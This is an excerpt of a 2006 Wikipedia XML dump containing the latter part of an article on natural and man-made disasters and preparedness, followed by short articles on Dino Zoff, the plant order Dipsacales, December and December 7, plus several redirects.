Impact events are caused by the [[collision]] of large [[meteoroid]]s, [[asteroid]]s or [[comet]]s (generically: [[bolide]]s) with [[Earth]] and may sometimes be followed by [[mass extinction]]s of life. The magnitude of the disaster is inversely proportional to its rate of occurrence, because small impactors are much more numerous than large ones.
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===Limnic eruption===
{{main|Limnic Eruption}}
[[Image:Lake_nyos.jpg|thumb|100px|right|Lake Nyos, Cameroon]]
A Limnic eruption is a sudden release of asphyxiating or inflammable gas from a lake.  Three lakes are at risk of limnic eruptions, [[Lake Nyos]], [[Lake Monoun]], and [[Lake Kivu]].  A [[1986]] limnic eruption of 1.6 million tonnes of CO&lt;sub&gt;2&lt;/sub&gt; from Lake Nyos suffocated 1,800 people in a 20 mile radius.  In [[1984]], a sudden outgassing of CO&lt;sub&gt;2&lt;/sub&gt; had occurred at Lake Monoun, killing 37 local residents.  Lake Kivu, with concentrations of methane and CO&lt;sub&gt;2&lt;/sub&gt;, has not experienced a limnic eruption during recorded history, but is suspected of having periodic eruptions every 1,000 years.  
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===Landslide===
{{main|Landslide}}
A landslide is a disaster closely related to an [[avalanche]], but instead of occurring with [[snow]], it occurs involving actual elements of the ground, including rocks, [[tree]]s, parts of houses, and anything else which may happen to be swept up. Landslides can be caused by [[earthquake]]s, [[volcanic eruption]]s, or general instability in the surrounding land. Mudslides, or mud flows, are a special case of landslides, in which heavy rainfall causes loose soil on steep terrain to collapse and slide downwards (see also [[Lahar]]); these occur with some regularity in parts of [[California]] after periods of heavy rain.
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===Mudslide===
{{main|Mudslide}}
A mudslide is a slippage of mud because of poor drainage of [[rainfall]] through soil.  An underlying cause is often deforestation or lack of vegatation.  Some mudslides are massive and can decimate large areas.  On January 10, 2005 at 1:20pm in [[La Conchita]], a massive mudslide buried four blocks of the town in over 30 feet of earth. Ten people were killed by the slide and 14 were injured. Of the 166 homes in the community, fifteen were destroyed and 16 more were tagged by the county as uninhabitable.
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===Sink hole===
{{main|Sinkhole}}
A sinkhole is  a localized depression in the surface topography, usually caused by the collapse of a subterranean structure, such as a [[cave]]. Although rare, large sinkholes that develop suddenly in populated areas can lead to the collapse of buildings and other structures.
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===Solar flare===
{{main|Solar flare}}
[[Image:Solar flare.jpg|thumb|100px|right|Solar flare]]
A solar flare is a violent explosion in the [[Sun]]'s atmosphere with an energy equivalent to tens of millions of [[hydrogen bomb]]s. Solar flares take place in the solar [[corona]] and [[chromosphere]], heating the gas to tens of millions of kelvins and accelerating electrons, protons and heavier ions to near the speed of light. They produce electromagnetic radiation across the spectrum at all wavelengths from long-wave radio signals to the shortest wavelength gamma rays.  Solar flare emmissions are a danger to orbitting satellites, manned space missions, communications systems, and power grid systems.[http://www.space.com/businesstechnology/technology/soho_impact_030623.html]
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===Storm surge===
{{main|Storm surge}}
A storm surge is an onshore rush of water associated with a low pressure weather system, typically a [[tropical cyclone]]. Storm surge is caused primarily by high winds pushing on the ocean's surface. The wind causes the water to pile up higher than the ordinary sea level.  Storm surges are particularly damaging when they occur at the time of a [[tide|high tide]], combining the effects of the surge and the tide.  The highest storm surge ever recorded was produced by the [[1899]] Bathurst Bay Hurricane, which caused a 13 m (43 feet) storm surge at [[Bathurst Bay]], [[Australia]]. In the US, the greatest recorded storm surge was generated by [[Hurricane Katrina]], which produced a storm surge of 9 m (30 feet).
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===Thunderstorm===
{{main|Thunderstorm}}
[[Image:Rolling-thunder-cloud.jpg|thumb|100px|right|A thunderstorm]]
A thunderstorm is a form of [[severe weather]] characterized by the presence of [[lightning]] and its attendant [[thunder]], often accompanied by copious [[rainfall]], [[hail]] and on occasion [[snowfall]] and [[tornado|tornadoes]].
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===Tornado===
[[image:tornado.jpg|thumb|100px|right|Tornado]]
{{main|Tornado}}
A tornado is a natural disaster resulting from a [[thunderstorm]]. Tornadoes are violent currents of wind. Tornadoes can occur one at a time, or can occur in large [[tornado outbreak]]s along a [[squall line]]. The most powerful tornado ever recorded in terms of wind speed was the tornado which swept through [[Moore, Oklahoma]] on [[May 3]], [[1999]] and reached windspeeds of up to 318 mph.
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===Tsunami===
[[Image:2004_Indonesia_Tsunami_100px.gif|thumb|100px|right|2004 Indonesian Tsunami Animation]]
{{main|Tsunami}}
A tsunami is a giant [[wave]] of [[water]] which rolls into the shore of an area with a height of over 15&amp;nbsp;m (50&amp;nbsp;ft). It comes from [[Japanese language|Japanese words]] meaning [[harbor]] and wave. Tsunamis can be caused by undersea earthquakes as in the [[2004 Indian Ocean Earthquake]], or by landslides such as the one which occurred at [[Lituya Bay]], [[Alaska]]. The tsunami generated by the [[2004 Indian Ocean Earthquake]] currently ranks as the deadliest tsunami in recorded history.
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===Volcanic eruption===
[[Image:Puu_Oo_cropped.jpg|thumb|100px|right|[[Puù Òò]]]]
{{main|Volcano}}
This natural disaster is caused by the eruption of a [[volcano]], and eruptions come in many forms. They range from daily small eruptions which occur in places like [[Kilauea]], in [[Hawaii]], or extremely infrequent [[supervolcano]] eruptions in places like [[Lake Toba]]. Recent large volcanic eruptions include that of [[Mount St. Helens]] and [[Krakatoa]], occurring in [[1980]] and [[1883]], respectively.
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===Waterspout===
{{main|Waterspout}}
[[Image:Trombe.jpg|thumb|100px|right|Waterspout]]
A waterspout is a tornadic weather phenomenon normally occurring over tropical waters in light rain conditions.  They form at the base of cumulus-type clouds and extend to the water surface where winds pick up water spray.  Waterspouts are dangerous to boats, planes and land structures.  Many waterspounts occur in the [[Bermuda Triangle]] and are suspected of being the cause of the many missing ships and planes in that region.
&lt;br style=&quot;clear:both;&quot;&gt;

===Winter storm===
[[Image:blizzard.jpg|thumb|100px|right|Blizzard]]
{{main articles|[[Blizzard]], [[Winter storm]], and [[Freezing rain]]}}
A snowstorm is a winter storm in which the primary form of precipitation is [[snow]]. When such a storm is accompanied by winds above 32 mph that severely reduce visibility, it becomes a [[blizzard]]. Hazards from snowstorms and blizzards include traffic-related accidents, hypothermia for those unable to find shelter, as well as major disruptions to transportation and fuel and power distribution systems.
&lt;br style=&quot;clear:both;&quot;&gt;

==Man-made disasters==
Disasters having an element of human [[intent]], [[negligence]], [[error]] or involving a failure of a system are called man-made disasters. Man-made disasters like power or telecommunication outages may be caused by thunderstorms, tornados or earthquakes and though the root cause is a natural phenomenon, they are considered to be man-made disasters.
&lt;br style=&quot;clear:both;&quot;&gt;

===Aviation===
{{main|Accidents and incidents in aviation}}
{{sect-stub}}

===Arson===
[[Image:Skyline Parkway Motel Burned.jpg|thumb|100px|right|A building after arson]]
{{main|Arson}}
Arson is the criminal intent of setting a [[fire]] with intent to cause damage. The definition of arson was originally limited to setting fire to [[building]]s, but was later expanded to include other objects, such as [[bridge]]s, [[vehicle]]s, and [[private property]].  Arson is the greatest cause of fires in data repositories.  [http://palimpsest.stanford.edu/byorg/georgia/disast.html]
&lt;br style=&quot;clear:both;&quot;&gt;

===CBRNs===
{{main|CBRN}}
A catch-all initialism meaning [[Chemical]] [[Biological]] [[Radiological]] [[Nuclear weapon|Nuclear]]. The term is used to describe a non-conventional terror threat that, if used by a nation, would be considered use of a weapon of mass destruction. This term is used primarily in the United Kingdom. Planning for a CBRN event may be appropriate for certain high-risk or high-value facilities and governments.
&lt;br style=&quot;clear:both;&quot;&gt;

===Civil disorder===
[[Image:spain_barcelona_20030326_01.PNG|thumb|100px|right|Spanish Rioters]]
{{main|Civil disorder}}
Civil disorder is a broad term that is typically used by law enforcement to describe one or more forms of disturbance. Examples of disastrous civil disorder include, but are not necessarily limited to: riots; sabotage; and other forms of crime. Although civil disorder does not necessarily escalate to a disaster in all cases the event may escalate into general chaos.
&lt;br style=&quot;clear:both;&quot;&gt;

There were riots in the Watts neighborhood of Los Angeles, California in 1968 and 1992.  The 1992 riots which started at the Florence and Normandee intersection of Watts were started immediately after the [[Rodney King]] verdict was announced on live TV.  About 50 people died in the 1992 riots.  

Former highly successful Major League Baseball Commissioner Peter Uberroth tried to lead an attempt to rebuild Watts from private business funds in 1992, but that was largely unsuccessful.  There are vacant lots left by both riots.  Thus the riot scars are still noticeable.

There were riots in Detroit, Atlanta, and Chicago after [[Martin Luther King, Jr.|Dr. Martin Luther King, Jr.]] was assassinated in 1968.

There were riots that were televised live outside of the Democratic National Convention in Chicago in 1968.

&lt;!--
===Crime===
Content coming soon.
&lt;br style=&quot;clear:both;&quot;&gt;

===Data loss===
Content coming soon.

===Dam failure===
Content coming soon

===Hazardous materials===
Content Coming Soon
&lt;br style=&quot;clear:both;&quot;&gt;

===Processing interruption===
Content coming soon.

===Liquidity shortage===
Content coming soon.
&lt;br style=&quot;clear:both;&quot;&gt;

--&gt;

===Power outage===
A power outage is an interruption of normal sources of electrical power. Short-term power outages (up to a few hours) are common and have minor adverse effect, since most businesses and health facilities are prepared to deal with them. Extended power outages, however, can disrupt personal and business activities as well as medical and rescue services, leading to business losses and medical emergencies. Extended loss of power also interferes with law enforcement, creating opportunities for [[crime]], including [[vandalism]], [[looting]], [[arson]] and [[violent crime]], even leading to [[civil disorder]], as in the [[New York City blackout of 1977]].

Only very rarely do power outages escalate to disaster proportions, however, they often accompany other types of disasters, 
such as [[hurricane|hurricanes]] and [[flood|floods]], which hampers relief efforts.

&lt;br style=&quot;clear:both;&quot;&gt;

===Public relations crisis===
A public relations crisis may threaten the long term survival of an organization.  For this reason, many organization's [[business continuity planning]] include PR crisis responses to control the delivery of bad news, the initial statements made to media and thereby control first impressions.  A successfully managed PR crisis may actually improve public opinion about an organization.  A poorly managed PR crisis may eventually bankrupt an organization.
&lt;br style=&quot;clear:both;&quot;&gt;

===Radiation Contamination===
Related article: [[Chernobyl accident]]&lt;br&gt;
Related article: [[Atomic bombings of Hiroshima and Nagasaki]]

When nuclear weapons are detonated or nuclear containment systems are otherwise compromised, airborne radioactive particles ([[Nuclear fallout|fallout]]) can scatter and irradiate large areas. Ionizing radiation is hazardous to living things, and in such a case much of the affected area could be unsafe for human habitation. The [[Soviet Union|Soviet]] republics of [[Ukraine]] and [[Belarus]] are part of a scenario like this after a reactor at the [[Chernobyl]] nuclear power plant suffered a [[Nuclear meltdown|meltdown]] in [[1986]]. 
&lt;br style=&quot;clear:both;&quot;&gt;

===Space Disasters===
{{main|Space disaster}}
{{sect-stub}}

===Telecommunication outage===
[[Image:Phone handset.jpeg|thumb|100px|right|Telecommunications]]
A telecommunications outage is not immediately a disaster, however, an extended telecommunications outage can strain a company's ability to stay solvent by cutting them off from their clients, vendors and business partners.  For this reason, [[business continuity planning]] normally addresses the possibility of an outage on the organization's core functions.  A telecommunication outage at the same time as another disaster may exacerbate the serverity of the incident by hampering disaster response teams.
&lt;br style=&quot;clear:both;&quot;&gt;

===Terrorism===
[[Image:WTC1_on_fire.jpg|thumb|100px|right|[[World Trade Center]] on [[September 11|Sep. 11]], [[2001]]]]
{{main articles|[[Terrorism]] and [[Asymmetric warfare]]}}
Terrorism is a controversial term with multiple definitions. One definition means a violent action targeting civilians exclusively. Another definition is the use or threatened use of violence for the purpose of creating fear in order to achieve a political, religious, or ideological goal. Under the second definition, the targets of terrorist acts can be anyone, including civilians, government officials, military personnel, or people serving the interests of governments.
&lt;br style=&quot;clear:both;&quot;&gt;

===War===
{{main|War}}
War is conflict, between relatively large groups of people, which involves physical force inflicted by the use of weapons.  Warfare has destroyed entire cultures, countries, economies and inflicted great suffering on humanity.  Other terms for war can include armed conflict, hostilities, and police action.  Acts of war are normally excluded from insurance contracts and disaster planning.

==Surviving a disaster==
Chances of survival after a disaster are greatly improved when people, local governments and emergency services, businesses and national governments prepare survival plans and assemble survival gear beforehand. What constitutes sufficient preparation is highly dependent on the location and the disasters that are likely to occur in the area.

===Personal and family disaster preparation===
People and families should make an assessment the likely threats in their location and prepare [[emergency supply kit]]s, learn basic [[first aid]] and decide on 'safe' meeting places.

Young children should be trained to:
* recognize the warning signs for dangerous situations
* respond safely to different threats
* evacuate to a safe place
* know their full name
* know their parent's full name
* know their telephone number
* know their address
* know the names of their relatives

Emergency supply kits should include the basic items recommended in the links provided below in addition to any special needs like diapers for babies, prescribed medicines or glasses for those who need them.

===Local government and emergency services disaster preparation and management===
Local governments and [[emergency service organizations]] maintain disaster response plans to minimize further [[death]] and property loss with quick and efficient action.  A predetermined command structure containing the functions, names, telephone numbers, and addresses needed for a disaster are used to mobilize local police, fire and medical forces (occasionally supported by [[military]] forces).  A [[disaster command structure]] attempts to quickly establish control over a disaster scene to [[rescue]] victims, clear casualties and where possible, subdue the threat. Governments may also provide basic [[humanitarian aid|humanitarian assistance]].

===Business disaster preparation and management===
To minimize losses and the death or injury of staff, businesses can create a [[business continuity planning|business continuity plan]] and restore key business functions quickly. Like local government, business should maintain a predetermined command structure in addition to the steps required to restore data and resume business operations.

Businesses also must consider non-traditional threats like liquidity shortages, public relations, power outage and telecommunication outage as a part of their plans.

===National disaster preparation===
National governments maintain disaster response plans to support local governments and to isolate an event's effects to a localized area.  Naturally occurring diseases, biological terrorism, and crop blights are examples of events that may be containable to a small area. A predetermined command structure which may include specialized agencies like the [[United States]] [[Federal Emergency Management Agency]] aids disaster relief and support of the local governments and emergency services.

Since nations have direct command control over military forces, they may choose to deploy personnel as requested or needed to assist in rescue, treatment of victims, humanitarian aid, and the maintaining of civil order.  Generally speaking, national governments can coordinate the deployment of emergency services personnel from unaffected areas to reduce the administrative burden on local command structures. Also, national governments generally have more resources and funds to assist local governments with relief efforts.

===Humanitarian disaster preparation===
For larger disasters that overwhelm the affected governments, international non-governmental humanitarian agencies may mobilize to offer [[water]], [[food]], [[housing]] and [[medicine|medical]] and [[psychology|psychological treatment]] of disaster victims. Humanitarian aid may also include long-term recovery and rebuilding efforts.

===Information security disaster preparation===
Adherence to accepted information security principals require disaster recovery plans. A disaster is the start of a 'crisis' where predefined crisis management plans activate. During the development of the crisis management plan, minimum thresholds are established against which a disaster's effect can be compared. Once a disaster sufficiently interrupts key functions and processes, recovery activities can be initiated to control expectancy loss.

==See also==
{{wikibookspar||Historical Disasters and Tragedies}}
* [[Car accident]]
* [[Civil protection]]
* [[Data recovery]]
* [[Disaster movie]]
* [[Disaster recovery]]
* [[Disaster relief]]
* [[Disaster tourism]]
* [[End of civilization]]
* [[Existential risk]]
* [[Hypothetical Disaster]]
* [[List of disasters]]
* [[List of major flops]]
* [[Prevention]]
* [[Worst natural disasters]]

==References==
* [http://www.dhs.gov/dhspublic/ United States Department of Homeland Security]
* [http://www.fema.gov/hazards/ United States Federal Emergency Management Agency]
* [http://www.udel.edu/DRC/ University of Delaware Disaster Research Center]
* [http://www.reliefweb.int/rw/rwb.nsf/db900SID/OCHA-64BLY9?OpenDocument]
* Barton A.H. (1969).  Communities in Disaster.  A Sociological Analysis of Collective Stress Situations.  SI: Ward Lock
* Quarantelli E.L. (1998).  Where We Have Been and Where We Might Go.  In: Quarantelli E.L. (ed).  What Is A Disaster?  London: Routledge.  pp146-159
* [http://muweb.millersville.edu/~cdr/CDR_2.1.pdf]
* [http://www.word-detective.com/101797.html Word Detective]

==External links==
* [http://www.dhs.gov/dhspublic/ Department of Homeland Security]
* [http://www.londonprepared.gov.uk/ London Prepared]
* [http://www.disasterpsych.org/ Disaster Psychiatry Outreach]
* [http://www.fema.gov/pdf/areyouready/supplies.pdf Preparing an emergency survival kit]
* [http://www.citizencorps.gov/ United States Citizen Corp Guide]
* [http://www.disasterhelp.gov/ United States DisasterHelp Egov reference]
* [http://www.fema.gov/ United States Federal Emergency Management Association]
* [http://www.fema.gov/hazards/ United States Federal Emergency Management Association designated hazards]
* [http://www.ready.gov/about.html United States Ready Egov reference]
* [http://www.em-dat.net/ EM-DAT: The International Disasters Database] includes information on man-made and natural disasters, basic definitions and a database of disasters occurrence and impact from 1900 to today
* [http://www.globaled.org.nz/schools/pdfs/factsheets/Disasters.pdf Disasters factsheet]
* [http://www.houstonmedcenter.com/articles/assisting_children_in_coping_with_violence_and_disasters.php Assisting Children and Adolescents in Coping with Disasters]
[[Category:Disaster|*]]

[[da:Katastrofe]]
[[de:Katastrophe]]
[[es:Desastre]]
[[fi:Onnettomuus]]
[[fr:Catastrophe]]
[[ja:&amp;#28797;&amp;#23475;]]
[[nl:Ramp]]
[[no:Katastrofe]]
[[pl:Katastrofa]]
[[zh:&amp;#28798;&amp;#38590;]]</text>
    </revision>
  </page>
  <page>
    <title>Dino Zoff</title>
    <id>8138</id>
    <revision>
      <id>41878775</id>
      <timestamp>2006-03-02T08:42:00Z</timestamp>
      <contributor>
        <username>Attilios</username>
        <id>428795</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Dino Zoff''' (born [[February 28]], [[1942]] in [[Mariano del Friuli]], [[Friuli-Venezia Giulia]]) is an Italian former [[football (soccer)|football]] [[goalkeeper]] and the oldest ever winner of the [[Football World Cup|World Cup]] as a captain of the [[Italy national football team|Italian national team]] in [[Spain]] in the {{Wc|1982}}. With 112 caps, Zoff is second only to [[Paolo Maldini]] in number of appearances for the ''Azzurri''. He also worked as coach for several Italian teams, but is currently unemployed.

==Playing career==

Zoff's career got off to an inauspicious start, when at the age of fourteen he had trials with [[Internazionale Milano F.C.|Inter Milan]] and [[Juventus]], but was rejected due to a lack of height. Five years later, having grown by 33 centimetres, he made his [[Serie A]] debut with [[Udinese Calcio|Udinese]], though Zoff made only four appearances for Udinese before moving to [[A.C. Mantova|Mantova]] in [[1963]].

In [[1968]], Zoff was transferred to [[SSC Napoli|Napoli]]. In the same year he made his debut for Italy, playing against [[Bulgaria national football team|Bulgaria]] in the quarter final of the [[1968 European Football Championship|1968 European Championships]]. Italy proceeded to win the tournament, Zoff taking home a winners' medal after only his fourth international appearance. 

Left out of the Italian starting eleven in the {{Wc|1970}}, Zoff resumed his success after signing for [[Juventus]] in 1972. In eleven years with Juventus, Zoff won the Serie A championship six times, the [[Coppa Italia]] twice and the [[UEFA Cup]] once. However, Zoff's greatest feat came in the {{Wc|1982}}, where he captained Italy to victory in the tournament at the age of 41, making him the oldest ever winner of the World Cup.

Zoff holds the record for the longest stretch (1142 minutes) without allowing any goals in international football, set between 1972 and 1974. He also held the record for the oldest Serie A player for more than 20 years, until the season 2005/2006 when the record was broken by Lazio goalkeeper [[Marco Ballotta]].

==Coaching career==
After his retirement as a player, Zoff went into coaching, joining the technical staff at Juventus, where he was head coach from 1988 to 1990. In 1990 he was sacked, despite winning the UEFA Cup. He then joined [[S.S. Lazio|Lazio]], where he became president in 1994.

In 1998 Zoff was appointed coach of the Italian national team. Using a more open and attacking style than usually used by Italian sides, he coached Italy to a second-place finish in {{Ec2|2000}}, suffering a cruel extra-time defeat at the hands of [[France national football team|France]] in the final. A few days later Zoff resigned, following strong criticism from [[A.C. Milan]] president and politician [[Silvio Berlusconi]].

Zoff returned to Lazio, but resigned following a poor start to the 2001/02 season. In 2005, he was named the coach of [[ACF Fiorentina|Fiorentina]]. But after saving the team from [[relegation]] on the last day of the season, Zoff was let go.

==Career overview==
===Clubs===
* [[1961]] - [[1963]] [[Udinese Calcio|Udinese]]
* [[1963]] - [[1967]] [[A.C. Mantova|Mantova]]
* [[1967]] - [[1972]] [[SSC Napoli|Napoli]]
* [[1972]] - [[1983]] [[Juventus]]

===Club honors===
* [[1973]] [[Serie A]]
* [[1975]] [[Serie A]]
* [[1977]] [[Serie A]]
* [[1977]] [[UEFA Cup]]
* [[1978]] [[Serie A]]
* [[1979]] [[Coppa Italia|Italian Cup]]
* [[1981]] [[Serie A]]
* [[1982]] [[Serie A]]
* [[1983]] [[Coppa Italia|Italian Cup]]

===International appearances===
* [[1968]] to [[1982]] for [[Italy national football team|Italy]] (112 appearances in all, 59 as captain)
* 3 [[Football World Cup|World Cup]] Finals

===International honors===
* [[1968 European Football Championship|1968 European Championship]]
* {{Wc|1982}}

===Teams coached===
* [[1988]] - [[1990]] [[Juventus]]
* [[1990]] - [[1994]] [[S.S. Lazio|Lazio]]
* [[1997]] [[S.S. Lazio|Lazio]]
* [[1998]] - [[2000]] [[Italy national football team|Italy]]
* [[2001]] [[S.S. Lazio|Lazio]]
* [[2005]] [[ACF Fiorentina|Fiorentina]]

===Coaching honors===
* [[1990]] [[Coppa Italia|Italian Cup]]
* [[1990]] [[UEFA Cup]]


{{start box}}
{{succession box |
  title=[[Football World Cup]]&lt;br&gt;winning [[captain (football)|captain]] |
  before=[[Daniel Passarella]]&lt;br&gt;[[Argentina national football team|(Argentina)]] |
  after=[[Diego Maradona]]&lt;br&gt;[[Argentina national football team|(Argentina)]]|
  years='''[[Football World Cup 1982|1982]]'''
}}
{{end box}}

[[Category:1942 births|Zoff, Dino]]
[[Category:Living people|Zoff, Dino]]
[[Category:Natives of Friuli-Venezia Giulia|Zoff, Dino]]
[[Category:FIFA 100|Zoff, Dino]]
[[Category:Italian footballers|Zoff, Dino]]
[[Category:Italian football managers|Zoff, Dino]]
[[Category:Juventus F.C. players|Zoff, Dino]]
[[Category:Football (soccer) goalkeepers|Zoff, Dino]]

[[bg:Дино Дзоф]]
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[[he:דינו זוף]]
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[[sv:Dino Zoff]]</text>
    </revision>
  </page>
  <page>
    <title>Double Precision</title>
    <id>8139</id>
    <revision>
      <id>15906159</id>
      <timestamp>2002-05-27T11:23:19Z</timestamp>
      <contributor>
        <username>PierreAbbat</username>
        <id>1123</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#redirect [[double precision]]</text>
    </revision>
  </page>
  <page>
    <title>Deconstructionism</title>
    <id>8140</id>
    <revision>
      <id>15906160</id>
      <timestamp>2003-07-23T22:22:37Z</timestamp>
      <contributor>
        <username>Jrb</username>
        <id>16553</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[deconstruction]]</text>
    </revision>
  </page>
  <page>
    <title>Dipsacales</title>
    <id>8141</id>
    <revision>
      <id>37263332</id>
      <timestamp>2006-01-29T21:48:37Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Dipsacales
| image = Dipsacus pilosus0.jpg
| image_width = 240px
| image_caption = ''Dipsacus pilosus''
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Dipsacales'''
| ordo_authority = [[Barthélemy Charles Joseph du Mortier|Dumortier]]
| subdivision_ranks = Families
| subdivision = 
[[Adoxaceae]] (moschatel family)&lt;br/&gt;
[[Caprifoliaceae]] (honeysuckle family)&lt;br/&gt;
[[Diervillaceae]]&lt;br/&gt;
[[Dipsacaceae]] (teasel family)&lt;br/&gt;
[[Linnaeaceae]] (twinflower family)&lt;br/&gt;
[[Morinaceae]]&lt;br/&gt;
[[Valerianaceae]] (valerian family)
}}

The '''Dipsacales''' are an [[order (biology)|order]] of [[flowering plant]]s, included within the [[asterid]] group of [[dicotyledon]]s.

Under the [[Cronquist system]], the order included [[Adoxaceae]], [[Caprifoliaceae]], [[Dipsacaceae]], and [[Valerianaceae]].  Under the more recent [[Angiosperm Phylogeny Group]] (APG II) system, the circumscription of the order is much the same but the families are circumscribed differently.  APG includes Adoxaceae and a broadly circumscribed Caprifoliaceae, the latter including the alternatively acceptable families [[Diervillaceae]], Dipsacaceae, [[Linnaeaceae]], [[Morinaceae]], and Valerianaceae.

A few other families may also belong near this order. These include the [[Desfontainia]]ceae, [[Polyosmotaceae]], [[Paracryphia]]ceae, and [[Sphenostemon]]aceae.

===External links===
*[http://tolweb.org/tree?group=Dipsacales Dipsacales] at Tree of Life
*[http://www.springerlink.com/(lmk1zcqhf3qoezridttpvqvk)/app/home/contribution.asp?referrer=parent&amp;backto=issue,5,7;journal,87,1500;linkingpublicationresults,1:104878,1 Phylogeny of the Asteridae s. str. based on rbcL sequences, with particular reference to the Dipsacales] (link to abstract)

[[Category:Dipsacales]]
[[Category:Magnoliopsida]]

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    </revision>
  </page>
  <page>
    <title>Democrat</title>
    <id>8142</id>
    <revision>
      <id>25437541</id>
      <timestamp>2005-10-13T15:26:54Z</timestamp>
      <contributor>
        <username>Silence</username>
        <id>84942</id>
      </contributor>
      <comment>Merging into [[Democratic Party]]. There's no reason to have a disambig page with only two links on it; having each link to the other at the top of its page is much more efficient.</comment>
      <text xml:space="preserve">#REDIRECT [[Democratic Party]]</text>
    </revision>
  </page>
  <page>
    <title>December</title>
    <id>8143</id>
    <revision>
      <id>42001796</id>
      <timestamp>2006-03-03T03:43:12Z</timestamp>
      <contributor>
        <username>Anthonyken0109</username>
        <id>906087</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{DecemberCalendar}}
{{wiktionarypar|December}}
{{unsourced}}

'''December''' is the [[twelfth]] and last [[month]] of the [[year]] in the [[Gregorian Calendar]] and one of seven Gregorian months with the length of 31 [[day]]s.

December begins (astrologically) with the [[sun]] in the sign of [[Sagittarius]] and ends in the sign of [[Capricorn]]. Astronomically speaking, the sun begins in the constellation of [[Ophiuchus]], which is the only zodiacal constellation that is not counted as an astrological sign, and ends in the constellation of [[Sagittarius]].

The name is from the Latin ''decem'' for &quot;[[10 (number)|ten]]&quot;.  December was the tenth month in the [[Roman calendar]] until a monthless winter period was divided between [[January]] and [[February]].


==Events in December==
* [[Hanukkah]]
* [[World Aids Day]] ([[December 1]])
* [[Saint Lucy]] ([[December 13]])
* [[Pearl Harbor Day]] in the [[United States]] ([[December 7]])
* Día de la Virgen de Guadalupe, or Day of the Virgin of Guadalupe, in Mexico ([[December 12]])
* The solstice called the [[winter]] solstice in the northern hemisphere and the [[summer]] solstice in the southern hemisphere occurs on dates varying from [[20 December]] to [[22 December]] (in UTC). In the pagan wheel of the year the summer solstice is the time of Litha and the winter solstice is that of Yule. 
* [[Christmas Eve]] ([[December 24]])
* [[Christmas]] ([[December 25]])
* [[Boxing Day]] ([[December 26]])
* [[Kwanzaa]] ([[December 26]] to [[January 1]])
* [[New Years Eve]] ([[December 31]])

==Trivia==
*December always begins with the same day of the week as September.
*December's [[flower]] is the [[holly]].
*December's [[birthstone]] is [[tanzanite]].
*December in the [[Northern Hemisphere]] is the seasonal equivalent to [[June]] in the [[Southern Hemisphere]] and vise versa.

==Other names==
*In [[Finnish language|Finnish]], December is called ''joulukuu'', meaning &quot;month of Christmas&quot;, since about the 18th century. Earlier it was called ''talvikuu'', meaning &quot;month of winter&quot;.
*In [[Irish language|Irish]], December is called ''Mí na Nollaig'', meaning &quot;month of Christmas&quot;.
*In [[Japanese calendar|the old Japanese calendar]], the month is called ''Shiwasu'' meaning &quot;priests run&quot;; it is named so because priests are busy making end of the year prayers and blessings.

==See also==
* [[Historical Anniversaries]]

==External links==
*[http://www.astro.uu.nl/~strous/AA/en/antwoorden/seizoenen.html Astronomy Answers article on the seasons]

{{months}}

[[Category:Months]]
[[af:Desember]]
[[als:Dezember]]
[[ang:Gēolmōnaþ]]
[[ar:ديسمبر]]
[[an:Abiento]]
[[ast:Avientu]]
[[bg:Декември]]
[[be:Сьнежань]]
[[bs:Decembar]]
[[br:Kerzu]]
[[ca:Desembre]]
[[ceb:Disyembre]]
[[cv:Раштав]]
[[cs:Prosinec]]
[[cy:Rhagfyr]]
[[da:December]]
[[de:Dezember]]
[[et:Detsember]]
[[el:Δεκέμβριος]]
[[es:Diciembre]]
[[eo:Decembro]]
[[eu:Abendu]]
[[fa:دسامبر]]
[[fo:Desember]]
[[fr:Décembre]]
[[fy:Desimber]]
[[fur:Dicembar]]
[[ga:Nollaig]]
[[gl:Decembro]]
[[ko:12월]]
[[hr:Prosinac]]
[[io:Decembro]]
[[ilo:Deciembre]]
[[id:Desember]]
[[ia:Decembre]]
[[ie:Decembre]]
[[is:Desember]]
[[it:Dicembre]]
[[he:דצמבר]]
[[jv:Desember]]
[[kn:ಡಿಸೆಂಬರ್]]
[[ka:დეკემბერი]]
[[csb:Gòdnik]]
[[kw:Mys Kevardhu]]
[[sw:Desemba]]
[[ku:Berfanbar]]
[[la:December]]
[[lv:Decembris]]
[[lt:Gruodis]]
[[lb:Dezember]]
[[li:December]]
[[hu:December]]
[[mi:Hakihea]]
[[mr:डिसेंबर]]
[[ms:Disember]]
[[nap:Dicembre]]
[[nl:December]]
[[ja:12月]]
[[no:Desember]]
[[nn:Desember]]
[[oc:Decembre]]
[[pl:Grudzień]]
[[pt:Dezembro]]
[[ro:Decembrie]]
[[ru:Декабрь]]
[[se:Juovlamánnu]]
[[sco:December]]
[[sq:Dhjetori]]
[[scn:Dicèmmiru]]
[[simple:December]]
[[sk:December]]
[[sl:December]]
[[sr:Децембар]]
[[fi:Joulukuu]]
[[sv:December]]
[[tl:Disyembre]]
[[ta:டிசம்பர்]]
[[tt:Dekäber]]
[[te:డిసెంబర్]]
[[th:ธันวาคม]]
[[vi:Tháng mười hai]]
[[tpi:Disemba]]
[[tr:Aralık]]
[[uk:Грудень]]
[[ur:دسمبر]]
[[vo:Dekul]]
[[wa:Decimbe]]
[[war:Disyembre]]
[[zh:12月]]
[[pam:Disiembri]]</text>
    </revision>
  </page>
  <page>
    <title>December 7</title>
    <id>8144</id>
    <revision>
      <id>42007645</id>
      <timestamp>2006-03-03T04:38:21Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added date link</comment>
      <text xml:space="preserve">'''[[December 7]]''' is the 341st day (342nd in leap years) of the year in the [[Gregorian calendar]]. There are 24 days remaining.

{{DecemberCalendar}}

==Events==
*[[1732]] - The [[Royal Opera House]] opens at [[Covent Garden]], [[London]].
*[[1776]] -  [[Marquis de Lafayette]] attempts to enter the American military as a major general.
*[[1787]] - [[Delaware]] becomes the first state to ratify the [[United States Constitution]].
